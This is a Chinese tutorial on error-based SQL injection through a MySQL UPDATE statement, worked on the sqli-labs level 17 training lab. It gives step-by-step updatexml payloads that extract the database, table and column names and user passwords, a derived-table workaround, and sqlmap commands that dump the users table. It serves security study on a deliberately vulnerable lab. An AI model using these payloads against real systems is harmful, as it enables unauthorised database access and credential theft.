POST Update语句注入

1.MySQL update介绍

update语句可以用来修改表中的数据,简单来说基本的使用形式为:
update 表名 set 列名称=新值 where 更新条件;

UPDATE table_name SET field1 = new-value1,field2=new-value2[WHERE Clause]

我们在MySQL命令行中展示,我们以id=8username=adminpassword=admin为例

java postgres更新 blob posting update_字段


执行更新语句

update users set password='admin888' where username='admin';

java postgres更新 blob posting update_数据库_02


可以看到用户名为admin的密码,成功更新为admin888

2.过滤内容介绍

sqli-labs17关为例,源代码如下所示

java postgres更新 blob posting update_数据库_03


判断是否有单引号存在

3.MySQL update注入

分析源代码可以发现,仅仅是对username进行了过滤

java postgres更新 blob posting update_sql_04


在下面,我们又可以发现一条更新的语句

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

java postgres更新 blob posting update_字段_05


可以闭合前面的单引号,后面执行我们的SQL语句.

1.进行抓包
当我们使用反斜杠,可以看出password是单引号闭合

uname=admin&passwd=admin\&submit=Submit

java postgres更新 blob posting update_sql_06

2.闭合单引号,爆破数据库

1'and (updatexml(1,concat(0x7e,database(),0x7e),1)) #

java postgres更新 blob posting update_sql_07


3.获取数据表信息

admin' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1))#

java postgres更新 blob posting update_mysql_08


4.获取字段

爆破第一个字段

admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1))#

java postgres更新 blob posting update_mysql_09

爆破第二个字段

admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1))#

java postgres更新 blob posting update_mysql_10


爆破第三个字段

admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),1))#

java postgres更新 blob posting update_sql_11


5.爆破字段内容

dmin' and (updatexml(1,concat(0x7e,(select username,password from users limit 0,1),0x7e),1))#

java postgres更新 blob posting update_字段_12

You can't specify target table 'users' for update in FROM clause

解决报错的方法,不能使用先select表中的某些值,在update这个表(在同一语句中)。

解决方法:将select出的结果作为派生再select一遍,这样就规避了错误。

admin' or updatexml(1,concat(0x7e,(select * from (select username from users limit 0,1) a),0x7e),1)#

java postgres更新 blob posting update_mysql_13

admin' or updatexml(1,concat(0x7e,(select * from (select password from users limit 0,1) a),0x7e),1)#

java postgres更新 blob posting update_安全_14

4.sqlmap安全测试

1.获取数据库信息

python2 sqlmap.py -r "1.txt" --dbs

java postgres更新 blob posting update_数据库_15


2.获取表名

python2 sqlmap.py -r "1.txt" -D security --tables

java postgres更新 blob posting update_字段_16


3.获取字段名及内容

python2 sqlmap.py -r "1.txt" -D security -T users --dump

java postgres更新 blob posting update_数据库_17